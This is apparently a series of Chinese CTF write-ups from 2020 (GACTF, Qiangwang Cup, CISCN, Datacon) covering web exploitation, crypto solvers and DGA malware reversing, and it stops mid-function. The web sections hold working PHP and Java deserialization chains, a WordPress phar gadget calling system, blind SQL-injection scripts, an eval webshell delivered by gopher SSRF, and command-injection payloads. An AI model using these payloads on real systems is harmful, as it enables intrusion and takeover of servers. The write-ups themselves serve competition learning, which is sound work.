jQuery.ajax(settings).done(function (response) {
    console.log(response);
});

exp中通过 meta_input参数设置了 email 的一些关键属性。但是在本地复现过程中只能创建 contact，这些关键 meta 没有设置成功。

开启调试跟一下源码，发现 meta_input 参数被 ban 掉了…

wp-admin/includes/post.php：

function _wp_get_allowed_postdata( $post_data = null ) {
if ( empty( $post_data ) ) {
$post_data = $_POST;
}

// Pass through errors.
if ( is_wp_error( $post_data ) ) {
return $post_data;
}

return array_diff_key( $post_data, array_flip( array( 'meta_input', 'guid' ) ) );
    
}

注释一下这个过滤，可以看到最终确实是对 meta_input 参数的值设置了 meta：

wp-admin/includes/post.php：

这里尝试了很多思路去绕过，无果，所以放弃了这个思路…

赛后问了下出题师傅，确实是利用这个漏洞。sendmail 函数有写日志的操作，预期解是写入文件，然后 phar 反序列化 getshell，关于这个漏洞如何利用，没有公布。

非预期解法

出题人在文件上传处加了过滤，不允许含有 php，所以需要利用上述漏洞达到任意文件写的目的。但是赛场上大家几乎都是非预期。

将 php 随便改成 xxx，phar 反序列化同样可以利用。

下面就是相同的思路了，反序列化 getshell，参考这篇 phar 的经典文章：https://paper.seebug.org/680/#31

pop 链，没有了 WooCommerce 这个插件，找一个代替的：

all-in-one-event-calendar 插件中 app/controller/shutdown.php的Ai1ec_Shutdown_Controller类。

public function __destruct()
{
    // replace globals from our internal store
    $restore = array();
    foreach ($this->_preserve as $name => $class) {
        if (
            !isset($GLOBALS[$name]) ||
            !($GLOBALS[$name] instanceof $class)
        ) {
            $restore[$name] = NULL;
            if (isset($GLOBALS[$name])) {
                $restore[$name] = $GLOBALS[$name];
            }
            $GLOBALS[$name] = $this->_restorables[$name];
        }
    }

构造：


class Requests_Utility_FilteredIterator extends ArrayIterator {
    protected $callback;
    public function __construct($data, $callback) {
        parent::__construct($data);
        $this->callback = $callback;
    }
}

class Ai1ec_Shutdown_Controller
{
    protected $_callbacks;
    public function __construct() {
        $this->_callbacks = new Requests_Utility_FilteredIterator(array('id'), 'system');
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub, 增加gif文件头，伪造文件类型
//$o = new WC_Log_Handler_File();
$o = new Ai1ec_Shutdown_Controller();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

现在需要找到触发点，文章中的 rpc 没有了，需要再找。

继续沿着wp_get_attachment_thumb_file向前寻找调用，发现wp-includes/media.php 的image_downsize方法：

寻找调用，wp-include/media.php：

这里队友直接在几个调用处都下断点，然后在 media 处随便点击，看哪里可以断。最后发现新建一篇文章，并添加 media，可以触发到 image_downsize 函数。调用栈如下：

后面$file与 $imagedata['thumb']参考原来那篇文章，实际利用起来其实挺麻烦的。

首先注册个账户，在 /wp-admin 下，传一个 media（ phar 构造出的）。

保存在了 wp-content/uploads/2020/12/phar.gif。

然后我们需要控制这个 media 的$file与 $imagedata['thumb']，参考文章的打法。打开编辑这个 media 的页面，我的网址是 http://192.168.43.44/wp-admin/post.php?post=68&action=edit。可以看到 post_id 是 68 。然后获取 wp_nonce，发包。

控制$file：（需要修改_wpnonce与post_ID）

控制 $imagedata['thumb']：（需要修改 _wpnonce，post_ID 与 thumb）

然后触发反序列化，新建一篇文章，添加 media：

点击insert，抓包。修改 attachment[image-size]=thumbnail，这样才能进到wp_get_attachment_thumb_file中。

另一条触发链，当时做题时也看到了，后面没去调那个，应该也是可以的。

也是寻找调用 image_downsize，在 wp-admin/includes/media.php的image_size_input_fields函数：

继续向前找调用，依次是wp-admin/includes/media.php中的 get_attachment_fields_to_edit函数、get_media_item函数，最后wp-admin/async-upload.php中调用了 get_media_item函数。

所以触发链是 get_media_item -> get_attachment_fields_to_edit -> image_size_input_fields -> image_downsize -> wp_get_attachment_thumb_file。

2020 GACTF writeup

2020-08-31T06:22:46.000Z

Web 与 Crypto 大部分题目难度不大，整理下题解。

Web

XWiki

CVE 2020-11057，参考https://jira.xwiki.org/browse/XWIKI-16960，可以直接执行Python代码。发现根目录下 /readflag，要回答两个数哪个大，输入0或者1。拖下来逆向，写个脚本自动交互（题目环境里拉的233）：

from subprocess import Popen, PIPE
p = Popen('./readflag', stdin=PIPE, stdout=PIPE)
t = p.stdout.readline().strip()
t = p.stdout.readline().strip()
t = p.stdout.readline().strip().decode()
f = ''
flag = ""
for i in range(464):
data = t.split(' ')
if (int(data[5]) > int(data[7])):
p.stdin.write(b"0\n")
flag+="0"
else:
p.stdin.write(b"1\n")
flag+="1"

t = p.stdout.readline().decode()
print(t)
f += t
print(flag)

把 01 流转成flag：

from Crypto.Util.number import *
flag = "01100111011000010110001101110100011001100111101101011000010101110110100101101011011010010101111101000011010101100100010101011111011101110110100101110100011010000110111101110101011101000101111101110000011001010111001001101101011010010111001101110011011010010110111101101110010111110111001101100011011100100110100101110000011101000110100101101110011001110101111101100101011110000110010101100011011101010111010001101001011011110110111000100001001000010010000101111101"
print long_to_bytes(int(flag,2))

simpleflask

EZFLASK

ctf.__globals__，可以发现admin的路由，看起来是个ssrf，但是ban掉了 127.0.0.1。

5000端口，应该是要ssrf本地的5000端口服务。

前面可以发现是 requests，尝试 302 跳转。

1 2	header('Location: http://127.0.0.1:5000/');

发现有ssti，直接构造：

1 2	header('Location: http://127.0.0.1:5000/{{config}}');

carefuleyes

www.zip 源码审计。

我们目标是调用XCTFGG的login方法，成功登陆admin：

有个反序列化可以完成login方法调用，现在问题是如何获取权限是admin的用户名和密码。

可以看到 sql 文件：


DROP DATABASE IF EXISTS `un`;
CREATE DATABASE un;
USE un;

DROP TABLE IF EXISTS `file`;
CREATE TABLE `file` (
  `fid` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `filename` varchar(256) NOT NULL,
  `oldname` varchar(256) DEFAULT NULL,
  `view` int(11) DEFAULT NULL,
  `extension` varchar(32) DEFAULT NULL,
  PRIMARY KEY (`fid`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `username` varchar(12) NOT NULL,
  `password` varchar(20) NOT NULL,
  `privilege` varchar(8) DEFAULT NULL,
  PRIMARY KEY (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;

# INSERT INTO user VALUES ('XM', $db_pass, 'admin')

SET FOREIGN_KEY_CHECKS = 1;

插入了一个username为XM的用户，密码未知，我们需要注入出密码。

审计一下发现几乎所有直接入库的操作前都有转义操作，尝试寻找二次注入，在rename.php中：

查询出来的结果直接拼接到了查询语句中，存在二次注入。

写个盲注脚本：

import requests
import string
def exp():
    data = ""
    session = requests.Session()
    list = map(ord,string.printable)
    payload = '(select ascii(substr(password,{mid},1)) from user)={value}'
    filename = "gml'and {sql}#"
    for i in range(1,20):
        flag = False
        for j in list:
            sql = payload.format(mid=i,value=j)
            name = filename.format(sql=sql)
            # print name
            paramsMultipart = [('upfile', ("%s.txt"%name, "gml\n", 'application/octet-stream'))]
            headers = {"Origin": "http://124.71.191.175", "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36",
               "Referer": "http://124.71.191.175/", "Connection": "close", "Accept-Language": "zh-CN,zh;q=0.9"}
            session.post("http://124.71.191.175/upload.php", files=paramsMultipart, headers=headers)

            paramsPost = {"newname": "111", "oldname": "%s"%name}
            headers = {"Origin": "http://124.71.191.175", "Cache-Control": "no-cache",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                   "Upgrade-Insecure-Requests": "1",
                   "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36",
                   "Referer": "http://124.71.191.175/rename.php", "Connection": "close", "Pragma": "no-cache",
                   "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded"}
            response = requests.post("http://124.71.191.175/rename.php", data=paramsPost, headers=headers)
            if "gml" in response.content:
                data += chr(j)
                flag = True
                print data
                break
        if not flag:
            exit("No!")


if __name__ == '__main__':
    exp()
    # password:qweqweqwe

注出密码是 qweqweqwe。直接构造序列化数据：


class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

}
$a = new XCTFGG('login',array('XM','qweqweqwe'));
echo urlencode(serialize($a));

Crypto

square

参考：https://math.stackexchange.com/questions/528669/what-is-the-smallest-integer-n-greater-than-1-such-that-the-root-mean-square

from pwn import *
import gmpy2
from hashlib import *

context.log_level = 'debug'
r = remote('124.71.158.89', 8888)


def proof():
    r.recvuntil("str + ")
    data = r.recv(4)
    r.recvuntil("== ")
    hash = r.recv(5)
    ans = util.iters.bruteforce(lambda x: md5(x + data).hexdigest()[:5] == hash, string.ascii_letters + string.digits,
                                length=4, )
    r.sendlineafter("xxxxx:", ans)


proof()

a = 48
s0, t0 = 7, 1
s1, t1 = s0, t0
for i in range(1000):
    s = s1 * s0 + a * t1 * t0
    t = t1 * s0 + t0 * s1
    s1 = s
    t1 = t
    if (s - 3) % 4 == 0:
        y = (s - 3) / 4
        x, flag = gmpy2.iroot(((y + 1) * (2 * y + 1)) / 6, 2)
        assert flag == True
        r.sendlineafter("[>] x: ", str(x))
        r.sendlineafter("[>] y: ", str(y))

babycrypto

参考https://keltecc.github.io/ctf/writeup/2020/05/24/m0lecon-ctf-2020-teaser-king-exchange.html，基本原题。

from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
def add_points(P, Q):
    return ((P[0]*Q[0]-P[1]*Q[1]) % p, (P[0]*Q[1]+P[1]*Q[0]) % p)


def multiply(P, n):
    Q = (1, 0)
    while n > 0:
        if n % 2 == 1:
            Q = add_points(Q, P)
        P = add_points(P, P)
        n = n//2
    return Q

A = (68279847973010227567437241690876400434176575735647388141445319082120661, 36521392659318312718307506287199839545959127964141955928297920414981390)
B = (84698630137710906531637499064120297563999383201108850561060383338482806, 10975400339031190591877824767290004140780471215800442883565278903964109)
g = (29223879291878505213325643878338189297997503744039619988987863719655098, 32188620669315455017576071518169599806490004123869726364682284676721556)
p = gcd(A[0]^2 + A[1]^2 - 1, B[0]^2 + B[1]^2 - 1)
p = p / 4
F = GF(p)
R. = PolynomialRing(F)
K. = F.extension(w^2 + 1)

g_K = g[0] + g[1]*w
B_K = B[0] + B[1]*w
b = discrete_log(B_K, g_K)

print(multiply(g, b) == B)

shared = multiply(A, b)[0]
key = sha256(long_to_bytes(shared)).digest()
aes = AES.new(key, AES.MODE_ECB)
cipher = bytes.fromhex('26b1b05962d188f1f2abdfad2cef049d45cfc27d9e46f40ebe52e367941bcfa05dd0ef698f528375be2185759e663431')
print(aes.decrypt(cipher))

da Vinci after rsa

先是个rsa，然后是达芬奇密码。

rsa 发现n可以直接分解，有三个因子，两个因子的欧拉值都与 e 不互素，并且因子比较小。

想起来 2016 0CTF 一个题，应该是先要解三个模数方程，然后用 CRT 求解。

16年那个题题解在这里：https://wooyun.js.org/drops/0ctf%20writeup.html。求三个模数方程可以用https://www.wolframalpha.com/在线求解。

求解后使用CRT，然后再达芬奇密码解密。

# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *


def GCRT(mi, ai):
    # mi,ai分别表示模数和取模后的值,都为列表结构
    assert (isinstance(mi, list) and isinstance(ai, list))
    curm, cura = mi[0], ai[0]
    for (m, a) in zip(mi[1:], ai[1:]):
        d = gcd(curm, m)
        c = a - cura
        assert (c % d == 0)  # 不成立则不存在解
        K = c / d * gmpy2.invert(curm / d, m / d)
        cura += curm * K
        curm = curm * m / d
    return (cura % curm, curm)  # (解,最小公倍数)


n = 0x1d42aea2879f2e44dea5a13ae3465277b06749ce9059fd8b7b4b560cd861f99144d0775ffffffffffff
c = 421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151
p = 9749
q = 11237753507624591
r = n / p / q
e = 5

p_roots = [7361]
q_roots = [2722510300825886, 6139772527803903, 6537111956662153, 8415400986072042, 9898464751509789]
r_roots = [180966415225632465120208272366108475667934082405238808958048294287011243645,
           2816114411493328258682873357893989007684496552202823306045771363205185148674391,
           1369135259891793292334345751773139388112378132927363770631732500241630990458667,
           5570877862584063114417410584640901580756179707042774516590562822938385811269597,
           8499052407588078002885931765166137308397074232361087682974448633946350539292222]
m_list = []
for pp in p_roots:
    for qq in q_roots:
        for rr in r_roots:
            res = GCRT([p, q, r], [pp, qq, rr])[0]
            if pow(res, e, n) == c:
                print long_to_bytes(res)
flag_enc = "weadfa9987_adwd23123_454f"
enc = [1, 28657, 2, 1, 3, 17711, 5, 8, 13, 21, 46368, 75025, 34, 55, 89, 610, 377, 144, 233, 1597, 2584, 4181, 6765,
       10946, 987]
a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368,
     75025]
flag = ""
for i in enc:
    flag += flag_enc[a.index(i)]
print flag
# w5awd4fa994f87_dwad3123_2
# flag{w5aed4fa994f87_dwad3123_2}

ezAES

密钥两位未知，拥有最后一个分组的明密文，以及倒数第二段密文的后10个字符，可以爆破。

爆破出密钥后从后向前求密文和 IV 就好了：

from Crypto.Cipher import AES
from Crypto.Util.strxor import *
import hashlib
import binascii

key = b'T0EyZaLRzQmNe2pd'
KEYSIZE = len(key)


def pad(message):
    p = (KEYSIZE - len(message) % KEYSIZE) * chr(KEYSIZE - len(message) % KEYSIZE)
    return message + p


h = hashlib.md5(key).hexdigest()
SECRET = binascii.unhexlify(h)[:10]
message = 'AES CBC Mode is commonly used in data encryption. What do you know about it?' + SECRET
message = pad(message)
data1 = "a32c412a3e7474e584cd72481dab9dd83141706925d92bdd39e4".decode("hex")
c = data1[-16:]
for i in range(len(message), 0, -16):
    c = strxor(AES.new(key).decrypt(c), message[i - 16:i])
print c

# str_list = [chr(i) for i in range(255)]
# for c1 in str_list:
#     for c2 in str_list:
#         key = "T0EyZaLRzQmNe2" + c1 + c2
#         if strxor(AES.new(key).decrypt(data1[-16:]), message[-16:])[-10:] == data1[:-16]:
#             print(c1 + c2)

what_r_the_noise

基本原题，参考：https://teamrocketist.github.io/2017/10/22/Crypto-Pwn2Win-2017-Differential-Privacy/

from pwn import *

r = remote('124.71.145.165', 9999)


def get_list():
    r.sendlineafter(":", "2")
    s = r.recvline()
    return eval("[" + s + "]")


d = []

for i in range(47):
    d.append(list())

for i in range(1000):
    if i % 100 == 0:
        print i

    l = get_list()
    for j in range(len(l)):
        d[j].append(l[j])
result = []
for i in range(47):
    av = sum(d[i]) / len(d[i])
    result.append(int(round(av)))

print result

print "".join([chr(c) for c in result])

2020 强网杯 writeup

2020-08-28T08:30:49.000Z

打完强网杯就去学校报道了，抽空补一下wp。

强网先锋-辅助

反序列化逃逸，参考https://m0nit0r.top/2020/02/05/object-injection-caused-by-PHP-string-escape/#Joomla%E9%80%83%E9%80%B8再加上绕过wakeup，以及反序列化中使用大写S可用十六进制表示的一些绕过方式。

需要注意调试的时候最好url编码，直接echo \0 无法显示，算覆盖长度的时候容易出错。


class player{
   protected $user;
   protected $pass;
   protected $admin;
 
   public function __construct($user, $pass, $admin = 0){
       $this->user = $user;
       $this->pass = $pass;
       $this->admin = $admin;
   }
 
}
 
class topsolo{
   protected $name;
 
   public function __construct($name = 'Riven'){
       $this->name = $name;
   }
 
   public function TP(){
       if (gettype($this->name) === "function" or gettype($this->name) === "object"){
           $name = $this->name;
           $name();
       }
   }
 
   public function __destruct(){
       $this->TP();
   }
 
}
 
class midsolo{
   protected $name;
 
   public function __construct($name){
       $this->name = $name;
   }
 
   public function __wakeup(){
       if ($this->name !== 'Yasuo'){
           $this->name = 'Yasuo';
           echo "No Yasuo! No Soul!\n";
       }
   }
 
 
   public function __invoke(){
       $this->Gank();
   }
 
   public function Gank(){
       if (stristr($this->name, 'Yasuo')){
           echo "Are you orphan?\n";
       }
       else{
           echo "Must Be Yasuo!\n";
       }
   }
}
 
class jungle{
   protected $name = "";
 
   public function __construct($name = "Lee Sin"){
       $this->name = $name;
   }
 
   public function KS(){
       system("cat /flag");
   }
 
   public function __toString(){
       $this->KS();
       return "";
   }
 
}
function read($data){
   $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
   return $data;
}
$a = new jungle('gml');
$b = new midsolo($a);
$c = new topsolo($b);
$data = 'O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3Bs%3A3%3A%22gml%22%3B%7D%7D%7D';
$data = urldecode($data);
$data = 'gml";s:8:"password";'.$data.'}';
$username = 'gml\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$password = urlencode($data);
echo $username."\n";
echo $password;
?>

强网先锋-主动

[http://39.96.23.228:10002/?ip=;cat%20*](http://39.96.23.228:10002/?ip=;cat *)

强网先锋-Funhash

Md4那个绕过，需要字符0e开头，后面都是数字，并且md4的结果需要是 0e[0-9]{30} 的形式。https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4里面有现成的数。第二关数组绕过，数据库那个应该找到一个字符串，md5含有 ‘or’这种，一番搜索在https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes里找到了现成的数。[http://39.101.177.96/?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=129581926211651571912466741651878684928](http://39.101.177.96/?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=129581926211651571912466741651878684928)

half_infiltration

Ob_end_clean 导致什么也不会输出，需要触发异常直接退出，才能绕过。要反序列化两个对象，第一个用来取到$flag，第二个用全局 $this 触发异常，这样就会输出了。


 
 
class Pass
{
}
 
class User
{
   public $age,$sex,$num;
   function __construct($age,$sex,$num)
   {
       $this->age = $age;
       $this->sex = $sex;
       $this->num = $num;
   }
}
$b = Array(new User(new Pass(),'read','result'),new User(new Pass(),'read',this));
print serialize($b);

Url二次编码读flag不成功，然后发现40000端口开着web服务，html代码就post一个file和content，应该是写文件。接下来就是写shell了，写了三个多小时。。。疯狂尝试，发现有WAF，所以用php://filter/convert.base64-decode/resource 搭配base64编码来写，但是貌似过滤了=这些，凑了个没有=的payload。而且文件不是直接写到uploads目录，访问index.php返回一个set-cookie,是写到了PHPSESSID的值对应的文件夹下，所以gopher发包要指定PHPSESSID，这个坑了很久。。生成gopher payload的脚本：

import urllib
import requests
exp='''POST / HTTP/1.1
Host: 172.26.98.147
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*;
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=gml
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
 
file=php://filter/convert.base64-decode/resource=gml.php&content=PD89QGV2YWwoJF9HRVRbMl0pOz8%2b'''
# print exp.split("\n")
tmp = urllib.quote(exp)
tmp = tmp.replace("%0A","%0D%0A")
 
result = "_"+urllib.quote(tmp)
 
result="gopher://172.26.98.147:40000/"+result
print result

打过去：

可以 getshell：

Dice2cry

向abi.php发了post请求，没有其他功能，试一下源码泄漏，abi.php.bak有源码。abi.php里是一个类似RSA parity oracle的东西，但是他需要 $_POST[‘this_is.able’] 来设置密文经尝试，用 this[is.able 可以绕过 php 对 . 的过滤

贴上队友 mcfx 大佬的脚本：

import requests

cookie='PHPSESSID=0ctstv9ecqte01n2nkj8fi8744; encrypto_flag=79113663305747837143444307328467025244358133313438256571587025766714023427438759740177304646998782229997099583059263540140676001606304937372556988230412073815119853730057831488053981148795567089107250487727369425980217048609105153253967274624991296087058702050452905877610820679017736577755477024222115641775; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157; public_e=010001'
hd={'cookie':cookie}

def getval(x):
dt={'this[is.able':x}
r=requests.post('http://106.14.66.189/abi.php',headers=hd,data=dt)
return r.json()['num']

for i in cookie.split('; '):
a,b=i.split('=')
if a=='encrypto_flag':
enc_flag=int(b)
elif a=='public_n':
n=int(b,16)
elif a=='public_e':
e=int(b,16)

assert getval(0)==0

flag3=getval(enc_flag)
n3=n%3
curn=0
for pos in range(1000):
a=3**(pos+1)
b=pow(a,e,n)
t3=getval(enc_flag*b%n)
for i in range(3):
if (flag3*a-n3*(curn*3+i))%3==t3:
break
curn=curn*3+i
l=curn*n//a
r=(curn*n+n-1)//a
print(pos,l,r)
if l+1==r:
print(r.to_bytes(100,'big'))
exit()

easy_java

Jdk 1.8，反序列化前有WAF。可以用ysoserial.exploit.JRMPListener CommonsCollections7打（6和7应该都可以），为了逃避检测，使用JRMP模拟RMI Client反打，参考：https://tiaotiaolong.net/2020/04/12/JRMPListener-&&-JRMPClient%E4%BD%BF%E7%94%A8%E5%B0%8F%E8%AE%B0/命令执行卡了很久，好像不能有引号，sh -c 后面的命令空格用${IFS}也死活不行，最后参考https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/，用$IFS$9才可以。。。测试的时候每次还需要换端口，一个端口第二次就不好用了，没有回连。Vps 上执行：

开启server，然后本地生成payload：

1	java -jar ysoserial-master-30099844c6-1.jar JRMPClient 'vps:5562' > payload

然后本地再打过去，触发反序列化:

import requests
from urllib import quote
proxy = {'http':"http://127.0.0.1:8080"}
exp = open('payload','r').read()
 
requests.post("http://39.101.166.142:8080/jdk_der",data=exp,proxies=proxy)

访问日志:

2020 ciscn 初赛 writeup

2020-08-21T02:28:13.000Z

这国赛五个 Web 加起来不到200分，真实。

Web

easyphp

需要通过 call_user_func_array 触发子进程崩溃，进到父进程里。

?a=stream_socket_server

（这是啥 Web 题…）

babyunserialize

看到 fatfree，想到了 WMCTF 那个webweb，diff一下发现把原来那个链子 insert 方法给注释了，再找个别的，找到了\DB\jig 下的mapper类：

改一下exp，可以RCE，system一下发现被ban了，想办法先写个shell，不过这个call_user_func_array用起来比较难受。

再看一下diff结果，发现 insert 方法竟然多了 write操作：

直接写 shell 就好了：



namespace DB\Jig {
    class Mapper
    {
        protected $db;
        protected $file = 'gmmml.php';
        protected $document = '';

        function __construct($db)
        {
            $this->db = $db;
        }
    }
}

namespace DB {
    class Jig
    {
        protected $format = 0;
        protected $dir = './';
    }
}

namespace CLI {
    class Agent
    {
        protected $server;

        function __construct($server)
        {
            $this->server = $server;
        }
    }

    class WS
    {
        protected $events;

        function __construct($events)
        {
            $this->events = $events;
        }
    }
}

namespace {
    class F3
    {
        public $events;

        function __construct($events)
        {
            $this->events = $events;
        }
    }

    $a = new DB\Jig();
    $b = new DB\Jig\Mapper($a);
    $c = new F3(array('disconnect' => array($b, "insert")));
    $d = new CLI\Agent($c);
    $e = new CLI\WS($d);
    echo urlencode(serialize($e));

}

拿到shell，把 PHP7 那个绕过 disable_function 的脚本搞上去就好了。

RCEME

https://www.anquanke.com/post/id/212603#h2-9，最后一个 exp 直接打。

http://eci-2ze2t1c804gx8zlnp248.cloudeci1.ichunqiu.com/?a={if:(implode(%27%27,%20[%27c%27,%27a%27,%27l%27,%27l%27,%27_%27,%27u%27,%27s%27,%27e%27,%27r%27,%27_%27,%27f%27,%27u%27,%27n%27,%27c%27])(implode(%27%27,[%27s%27,%27y%27,%27s%27,%27t%27,%27e%27,%27m%27]),%27cat%20/flag%27))}{end%20if}

littlegame

搜一发这个set-value 原型链污染：https://snyk.io/vuln/SNYK-JS-SETVALUE-450213。

直接打：

easytrick

想办法绕过 md5，开始的思路是通过类，不过exception和error类 __toString 长度太长了，没法绕过。后来发现 INF 可以绕过，INF 变成字符串后是 “INF”，md5 时会转成字符串”INF”，所以相等。而 (string)INF != INF，可以绕过。


class trick{
   public $trick1=INF;
   public $trick2=INF;
}
$a = new trick();
var_dump((string)$a->trick1);
echo urlencode(serialize($a));

Crypto

lfsr

恢复 mask，100个方程，解方程即可。

Python 解方程脚本

# -*- coding: utf-8 -*-
def get_mask(stream):
    dim = 100
    magic = [map(int, list(stream[i:i + 100])) for i in range(100)]
    cipher = map(int, list(stream[100:]))
    assert len(cipher) == 100
    # 高斯消元
    for j in range(dim):
        for i in range(j, dim):
            if magic[i][j] == 1:
                magic[i], magic[j] = magic[j], magic[i]
                cipher[i], cipher[j] = cipher[j], cipher[i]
                break
        for i in range(dim):
            if magic[i][j] == 1 and i != j:
                for k in range(dim):
                    magic[i][k] ^= magic[j][k]
                cipher[i] ^= cipher[j]
    return int((''.join(map(str, cipher)))[::-1], 2)


data = open("output.txt", "r").read(200).strip()
print get_mask(data)

也可以用sage解希尔密码的方法直接解（异或相加可以对应乘法相加模2）：

stream = open("output.txt", "r").read(200).strip()
A = [map(int, list(stream[i:i + 100])) for i in range(100)]
res = map(int, list(stream[100:]))
R = IntegerModRing(2)
A = Matrix(R,A)
res = vector(R,res)
ans = A.solve_right(res)
print(int((''.join(map(str, list(ans))))[::-1], 2))

bd

d 较小，Boneh_Durfee 攻击。

https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

2020 Datacon 大数据安全分析比赛部分题目内测笔记

2020-08-16T14:27:26.000Z

去年参加了Datacon DNS恶意流量方向的比赛，拿了第五，差点拿到奖orz，今年参加了部分赛题的内部评估，以下是做题记录。

DNS 恶意域名分析题目一-种子寻找记之DGA算法分析

赛题信息

设计说明

DGA（Domain generation algorithm，域名生成算法）是一种利用特定种子字符，结合加密算法，进而生成一系列伪随机恶意域名的方法。恶意软件可使用DGA逃避域名黑名单的检测。

本题中，选手需从给定的DGA样本中通过逆向分析发现其中存在的DGA算法。通过对DGA算法的分析，根据给出的同算法但不同种子生产的域名获得新的种子，最终给出使用新种子生产的所有域名。

数据说明

sample1.exe、sample2.exe、sample3.exe，不同DGA算法的三个样本
20200510_domains1.txt、20200510_domains2.txt、20200510_domains3.txt，各样本对应的同算法但不同种子的样本生产的域名，若算法时间相关，则生产时间为2020年5月10日

提交形式

选手提交3个txt文件，提交文件的命名规则和内容如下：

domains1.txt
使用sample1.exe中算法和新种子生产的算法规定个数的域名。每个域名一行。
domains2.txt
使用sample2.exe中算法和新种子生产的算法规定个数的域名。每个域名一行。
domains3.txt
使用sample3.exe中算法和新种子生产的算法规定个数的域名。每个域名一行。

解题过程

这个题主要是考察基本逆向+算法分析，之前也没做过逆向，这次正好算是入了门，踩了挺多逆向的坑…

sample1

IDA打开，找不到main函数，文本模式下搜main，找到入口函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __main();
  dga_v2(2020, 4, 6, 0xFD6512BE);
  return 0;
}

看起来，2020、4、6是日期，最后一个参数是种子，反编译dga_v2函数：

int __cdecl dga_v2(int a1, char a2, char a3, unsigned int a4)
{
  signed int v4; // edx
  int v5; // eax
  int v6; // ecx
  int v7; // eax
  int v8; // eax
  int v9; // edx
  int v10; // edx
  int v11; // esi
  int v12; // ecx
  int result; // eax
  int v14; // [esp+1Ch] [ebp-12Ch]
  char v15[8]; // [esp+28h] [ebp-120h]
  unsigned __int8 v16[16]; // [esp+30h] [ebp-118h]
  char *v17[5]; // [esp+40h] [ebp-108h]
  int v18; // [esp+54h] [ebp-F4h]
  int v19; // [esp+58h] [ebp-F0h]
  int v20; // [esp+5Ch] [ebp-ECh]
  int v21[4]; // [esp+64h] [ebp-E4h]
  unsigned int v22; // [esp+74h] [ebp-D4h]
  char v23; // [esp+CBh] [ebp-7Dh]
  char v24[4]; // [esp+CCh] [ebp-7Ch]
  char v25; // [esp+D0h] [ebp-78h]

  *(_DWORD *)v24 = 0;
  v14 = 0;
  memset(&v25, 0, 0x60u);
  qmemcpy(v17, _data_start__, sizeof(v17));
  do
  {
    memset(&v18, 0, 0x20u);
    v4 = v14 & 0xFFFFFFFE;
    v18 = (unsigned __int8)(a1 + 48);
    v19 = (unsigned __int8)a2;
    v20 = (unsigned __int8)a3;
    v5 = 0;
    do
    {
      v6 = (unsigned __int8)v4;
      v4 >>= 8;
      v21[v5++] = v6;
    }
    while ( v5 != 4 );
    v7 = 0;
    do
    {
      *(&v18 + v7) ^= (unsigned __int8)(a4 >> 8 * (v7 & 3));
      ++v7;
    }
    while ( v7 != 8 );
    v8 = 0;
    do
    {
      v15[v8] = *(&v18 + v8);
      ++v8;
    }
    while ( v8 != 8 );
    MD5Init(&v22);
    MD5Update(&v22, v9, 8);
    MD5Final(&v22, v16);
    v10 = 0;
    memset(v24, 0, 0x64u);
    do
    {
      v11 = (v16[v10] & 0xF) + ((signed int)v16[v10] >> 4) + 97;
      if ( v11 <= 122 )
      {
        *(&v23 + strlen(v24) + 1) = v11;
        v24[strlen(v24) + 1] = 0;
      }
      ++v10;
    }
    while ( v10 != 16 );
